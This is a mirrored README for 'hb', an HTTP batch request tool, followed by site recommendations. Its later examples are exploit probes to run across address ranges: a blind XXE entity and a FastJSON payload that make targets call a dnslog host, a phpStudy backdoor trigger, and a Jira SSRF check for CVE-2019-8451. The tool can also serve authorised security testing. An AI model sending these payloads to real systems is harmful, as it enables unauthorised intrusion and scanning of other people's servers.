GithubHelp home page GithubHelp logo

hb's Introduction

hb

Fast http batch request tool

Example

Load File Target

./hb -f ips.txt -p 80

Add HTTP Header

./hb -host 192.168.1.1/24 -H "Host: bypasscdn"

Show ProgressBar

./hb -host 192.168.1.1/24 -pg

Follow redirect (30x)

./hb -host 192.168.1.1/24 -redirect

Filter Response Body

./hb -host 192.168.1.1/24 -grep "admin"

Filter Response Header (X-Powered-By ContentType Title)

./hb -host 192.168.1.1/24 -filter "nginx"

Filter Response Status Code

./hb -host 192.168.1.1/24 -code 2 # 2xx

Show Resposne Body

./hb -host 192.168.1.1/24 -p 80,443,8080 -response

Shuffle Request

./hb -host 192.168.1.1/24 -p 80,443,8080 -random

Send Post Request

./hb -host 192.168.1.1/24 -p 80,443,8080 -body "a=1&b=2&c=2"

# post body from file
./hb -host 192.168.1.1/24 -p 80,443,8080 -bodyfile ./exploit

Send PUT Request

./hb -host 192.168.1.1/24 -p 80,443,8080 -method PUT

Show Request Error

./hb -host 192.168.1.1/24 -p 80,443,8080 -debug 

Elasticsearch

./hb -host 192.168.1.1/24 -p 9200 -path "/_cat" -grep "/_cat/allocation"

PHPINF0

./hb -host 192.168.1.1/24 -p 80,443,8080 -path /phpinfo.php -code 2 -grep 'PHP Version' -regexp 'PHP Version(.*?)<'

XXE Blind

./hb -host 192.168.1.1/24 -p 80 -path /xxe.php -body '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY remote SYSTEM "http://{{hostname}}.dnslog/">]><x>&remote;</x>' -replace

FastJSON Blind

./hb -host 192.168.1.1/24 -p 80,443,8080 -H "Content-Type: application/json" -body '{"@type": "java.net.InetAddress", "val":"{{hostname}}.dnslog"}' -replace -redirect

Weblogic fingerprint

./hb -host 192.168.1.1/24 -host 192.168.1.1/24 -p 80,443,7001 -H "Authorization: Basic" -code 401

phpStudy Backdoor

./hb -host 192.168.1.1/24 -p 80,443,8080 -H "Accept-Charset: cGhwaW5mbygpOwo=" -H "Accept-Encoding: gzip,deflate" -regexp '<tr><td class="e">disable_functions</td><td class="v">(.*?)</td>' -redirect

CVE-2019-8451 Jira SSRF

./hb -host 192.168.1.1/24 -p 80,443,8080 -path "/plugins/servlet/gadgets/makeRequest?url={{scheme}}://{{host}}@baidu.com/" -H "X-Atlassian-Token: no-check" -replace -grep "www.baidu.com" -regexp '<meta name="ajs-version-number" content="(.*?)">' -redirect

hb's People

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.